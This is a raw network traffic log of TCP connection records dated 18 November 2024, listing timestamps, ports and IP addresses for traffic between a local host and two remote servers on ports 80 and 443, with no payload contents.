Nov 18, 2024 15:17:08.095725060 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.095741987 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.095752954 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.095763922 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.095774889 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.095786095 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.095794916 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:08.095794916 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:08.095794916 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:08.095794916 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:08.095803022 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.095814943 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.095822096 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:08.095824957 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.095837116 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.095848083 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.095859051 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.095870972 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.095881939 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.095885992 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:08.095885992 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:08.095920086 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.095947027 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:08.095947027 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:08.095988989 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:08.096002102 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.096014977 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.096024990 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.096038103 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.096055031 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.096091986 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:08.096091986 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:08.096092939 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:08.096133947 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.096147060 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.096158028 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.096168041 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.096179962 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.096199036 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.096203089 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:08.096211910 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.096218109 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:08.096224070 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.096235037 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.096246004 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.096251965 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:08.096311092 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:08.096311092 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:08.097731113 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.097822905 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.097824097 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:08.097836018 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.097965002 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.097976923 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.097990036 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.097991943 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:08.097991943 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:08.098009109 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.098030090 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.098040104 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:08.098042011 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.098057985 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.098064899 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.098069906 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.098073006 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.098083973 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.098104954 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:08.098104954 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:08.098105907 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:08.098134041 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:08.098176956 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.098190069 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.098201990 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.098213911 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.098225117 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.098228931 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:08.098237038 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.098254919 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.098298073 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:08.098299026 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:08.098299026 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:08.098330975 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.098342896 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.098359108 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.098370075 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.098381042 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.098392963 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.098393917 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:08.098393917 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:08.098406076 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:08.098411083 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.098423004 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.098437071 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.098449945 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.098452091 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:08.098463058 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.098474979 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.098475933 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:08.098486900 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.098525047 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:08.098525047 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:08.098701954 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.098715067 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.098720074 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.098731041 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.098742962 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.098753929 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.098782063 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:08.098782063 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:08.098807096 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.098819971 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.098829985 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.098839998 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:08.098841906 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.098853111 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.098865032 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.098875999 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:08.098876953 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.098886967 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:08.098889112 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.098902941 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:08.098931074 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:08.099020004 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:08.138031006 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:08.143230915 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.331849098 CET	49827	443	192.168.2.9	13.89.179.13
Nov 18, 2024 15:17:08.331901073 CET	443	49827	13.89.179.13	192.168.2.9
Nov 18, 2024 15:17:08.332012892 CET	49827	443	192.168.2.9	13.89.179.13
Nov 18, 2024 15:17:08.332295895 CET	49827	443	192.168.2.9	13.89.179.13
Nov 18, 2024 15:17:08.332307100 CET	443	49827	13.89.179.13	192.168.2.9
Nov 18, 2024 15:17:08.414537907 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.414632082 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.414640903 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:08.414644003 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.414658070 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.414679050 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.414694071 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.414695978 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:08.414711952 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:08.414725065 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:08.414738894 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.414753914 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:08.414760113 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.414774895 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.414783001 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:08.414788008 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.414799929 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.414815903 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:08.414834976 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:08.414944887 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:08.415036917 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.415050983 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.415093899 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.415110111 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.415124893 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.415141106 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.415164948 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:08.415235043 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.415249109 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.415261030 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.415277958 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.415282965 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:08.415297031 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.415299892 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:08.415299892 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:08.415306091 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.415329933 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.415337086 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:08.415366888 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:08.415424109 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.415487051 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:08.415772915 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.415821075 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.415838957 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:08.415842056 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.415857077 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.415874004 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.415879965 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:08.415894032 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:08.415916920 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:08.415947914 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.415961027 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.415972948 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.415978909 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.415991068 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.416007042 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:08.416007042 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:08.416047096 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:08.416049957 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.416069984 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.416081905 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.416093111 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.416105986 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.416172028 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:08.416172028 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:08.416177034 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.416189909 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.416209936 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.416222095 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.416233063 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.416251898 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.416270971 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.416273117 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:08.416273117 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:08.416285992 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.416299105 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:08.416311026 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.416323900 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.416342020 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.416348934 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:08.416348934 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:08.416367054 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:08.416412115 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:08.416429996 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.416450024 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.416462898 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.416474104 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.416485071 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.416495085 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:08.416496992 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.416512012 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.416523933 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.416537046 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.416548967 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.416555882 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:08.416555882 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:08.416570902 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:08.416605949 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:08.416632891 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.416639090 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.416657925 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.416682005 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.416693926 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.416697025 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:08.416697025 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:08.416716099 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.416733980 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.416752100 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.416768074 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.416805983 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:08.416840076 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:08.416840076 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:08.416840076 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:08.509927034 CET	443	49825	13.89.179.13	192.168.2.9
Nov 18, 2024 15:17:08.510256052 CET	49825	443	192.168.2.9	13.89.179.13
Nov 18, 2024 15:17:08.510273933 CET	443	49825	13.89.179.13	192.168.2.9
Nov 18, 2024 15:17:08.511603117 CET	443	49825	13.89.179.13	192.168.2.9
Nov 18, 2024 15:17:08.511734009 CET	49825	443	192.168.2.9	13.89.179.13
Nov 18, 2024 15:17:08.512058973 CET	49825	443	192.168.2.9	13.89.179.13
Nov 18, 2024 15:17:08.512145042 CET	443	49825	13.89.179.13	192.168.2.9
Nov 18, 2024 15:17:08.512378931 CET	49825	443	192.168.2.9	13.89.179.13
Nov 18, 2024 15:17:08.512378931 CET	49825	443	192.168.2.9	13.89.179.13
Nov 18, 2024 15:17:08.512403965 CET	443	49825	13.89.179.13	192.168.2.9
Nov 18, 2024 15:17:08.512434959 CET	443	49825	13.89.179.13	192.168.2.9
Nov 18, 2024 15:17:08.523582935 CET	443	49826	13.89.179.13	192.168.2.9
Nov 18, 2024 15:17:08.524137020 CET	49826	443	192.168.2.9	13.89.179.13
Nov 18, 2024 15:17:08.524153948 CET	443	49826	13.89.179.13	192.168.2.9
Nov 18, 2024 15:17:08.524544954 CET	443	49826	13.89.179.13	192.168.2.9
Nov 18, 2024 15:17:08.527501106 CET	49826	443	192.168.2.9	13.89.179.13
Nov 18, 2024 15:17:08.527580976 CET	443	49826	13.89.179.13	192.168.2.9
Nov 18, 2024 15:17:08.527770996 CET	49826	443	192.168.2.9	13.89.179.13
Nov 18, 2024 15:17:08.527815104 CET	49826	443	192.168.2.9	13.89.179.13
Nov 18, 2024 15:17:08.527859926 CET	443	49826	13.89.179.13	192.168.2.9
Nov 18, 2024 15:17:08.553275108 CET	49825	443	192.168.2.9	13.89.179.13
Nov 18, 2024 15:17:08.680964947 CET	443	49825	13.89.179.13	192.168.2.9
Nov 18, 2024 15:17:08.681699991 CET	49825	443	192.168.2.9	13.89.179.13
Nov 18, 2024 15:17:08.681760073 CET	443	49825	13.89.179.13	192.168.2.9
Nov 18, 2024 15:17:08.681930065 CET	443	49825	13.89.179.13	192.168.2.9
Nov 18, 2024 15:17:08.681940079 CET	49825	443	192.168.2.9	13.89.179.13
Nov 18, 2024 15:17:08.682174921 CET	49825	443	192.168.2.9	13.89.179.13
Nov 18, 2024 15:17:08.682601929 CET	443	49826	13.89.179.13	192.168.2.9
Nov 18, 2024 15:17:08.683331966 CET	49826	443	192.168.2.9	13.89.179.13
Nov 18, 2024 15:17:08.683387041 CET	443	49826	13.89.179.13	192.168.2.9
Nov 18, 2024 15:17:08.683577061 CET	49826	443	192.168.2.9	13.89.179.13
Nov 18, 2024 15:17:08.715239048 CET	49828	443	192.168.2.9	13.89.179.13
Nov 18, 2024 15:17:08.715279102 CET	443	49828	13.89.179.13	192.168.2.9
Nov 18, 2024 15:17:08.715491056 CET	49828	443	192.168.2.9	13.89.179.13
Nov 18, 2024 15:17:08.715785980 CET	49828	443	192.168.2.9	13.89.179.13
Nov 18, 2024 15:17:08.715801001 CET	443	49828	13.89.179.13	192.168.2.9
Nov 18, 2024 15:17:09.115230083 CET	443	49827	13.89.179.13	192.168.2.9
Nov 18, 2024 15:17:09.115571976 CET	49827	443	192.168.2.9	13.89.179.13
Nov 18, 2024 15:17:09.115586042 CET	443	49827	13.89.179.13	192.168.2.9
Nov 18, 2024 15:17:09.116775990 CET	443	49827	13.89.179.13	192.168.2.9
Nov 18, 2024 15:17:09.116889000 CET	49827	443	192.168.2.9	13.89.179.13
Nov 18, 2024 15:17:09.117189884 CET	49827	443	192.168.2.9	13.89.179.13
Nov 18, 2024 15:17:09.117250919 CET	443	49827	13.89.179.13	192.168.2.9
Nov 18, 2024 15:17:09.117336035 CET	49827	443	192.168.2.9	13.89.179.13
Nov 18, 2024 15:17:09.117343903 CET	443	49827	13.89.179.13	192.168.2.9
Nov 18, 2024 15:17:09.117358923 CET	49827	443	192.168.2.9	13.89.179.13
Nov 18, 2024 15:17:09.117432117 CET	443	49827	13.89.179.13	192.168.2.9
Nov 18, 2024 15:17:09.159605980 CET	49827	443	192.168.2.9	13.89.179.13
Nov 18, 2024 15:17:09.261564016 CET	443	49827	13.89.179.13	192.168.2.9
Nov 18, 2024 15:17:09.262314081 CET	49827	443	192.168.2.9	13.89.179.13
Nov 18, 2024 15:17:09.262361050 CET	443	49827	13.89.179.13	192.168.2.9
Nov 18, 2024 15:17:09.262527943 CET	443	49827	13.89.179.13	192.168.2.9
Nov 18, 2024 15:17:09.262603045 CET	49827	443	192.168.2.9	13.89.179.13
Nov 18, 2024 15:17:09.262603045 CET	49827	443	192.168.2.9	13.89.179.13
Nov 18, 2024 15:17:09.427906990 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:09.428015947 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:09.433080912 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:09.433295965 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:09.528345108 CET	443	49828	13.89.179.13	192.168.2.9
Nov 18, 2024 15:17:09.528630018 CET	49828	443	192.168.2.9	13.89.179.13
Nov 18, 2024 15:17:09.528646946 CET	443	49828	13.89.179.13	192.168.2.9
Nov 18, 2024 15:17:09.529723883 CET	443	49828	13.89.179.13	192.168.2.9
Nov 18, 2024 15:17:09.529793024 CET	49828	443	192.168.2.9	13.89.179.13
Nov 18, 2024 15:17:09.530453920 CET	49828	443	192.168.2.9	13.89.179.13
Nov 18, 2024 15:17:09.530515909 CET	443	49828	13.89.179.13	192.168.2.9
Nov 18, 2024 15:17:09.530726910 CET	49828	443	192.168.2.9	13.89.179.13
Nov 18, 2024 15:17:09.530733109 CET	443	49828	13.89.179.13	192.168.2.9
Nov 18, 2024 15:17:09.530755997 CET	49828	443	192.168.2.9	13.89.179.13
Nov 18, 2024 15:17:09.530864000 CET	443	49828	13.89.179.13	192.168.2.9
Nov 18, 2024 15:17:09.578021049 CET	49828	443	192.168.2.9	13.89.179.13
Nov 18, 2024 15:17:09.697549105 CET	443	49828	13.89.179.13	192.168.2.9
Nov 18, 2024 15:17:09.698283911 CET	49828	443	192.168.2.9	13.89.179.13
Nov 18, 2024 15:17:09.698339939 CET	443	49828	13.89.179.13	192.168.2.9
Nov 18, 2024 15:17:09.698407888 CET	49828	443	192.168.2.9	13.89.179.13
Nov 18, 2024 15:17:10.203147888 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:10.203361988 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:10.330780983 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:10.335949898 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:10.609581947 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:10.609683990 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:10.610023022 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:10.610040903 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:10.610079050 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:10.610100985 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:10.610268116 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:10.610326052 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:10.614249945 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:10.619430065 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:10.894287109 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:10.894345999 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:10.910444021 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:10.915414095 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:11.679336071 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:11.679406881 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:11.728144884 CET	49750	80	192.168.2.9	185.215.113.206
Nov 18, 2024 15:17:11.733196974 CET	80	49750	185.215.113.206	192.168.2.9
Nov 18, 2024 15:17:12.009892941 CET	80	49750	185.215.113.206	192.168.2.9
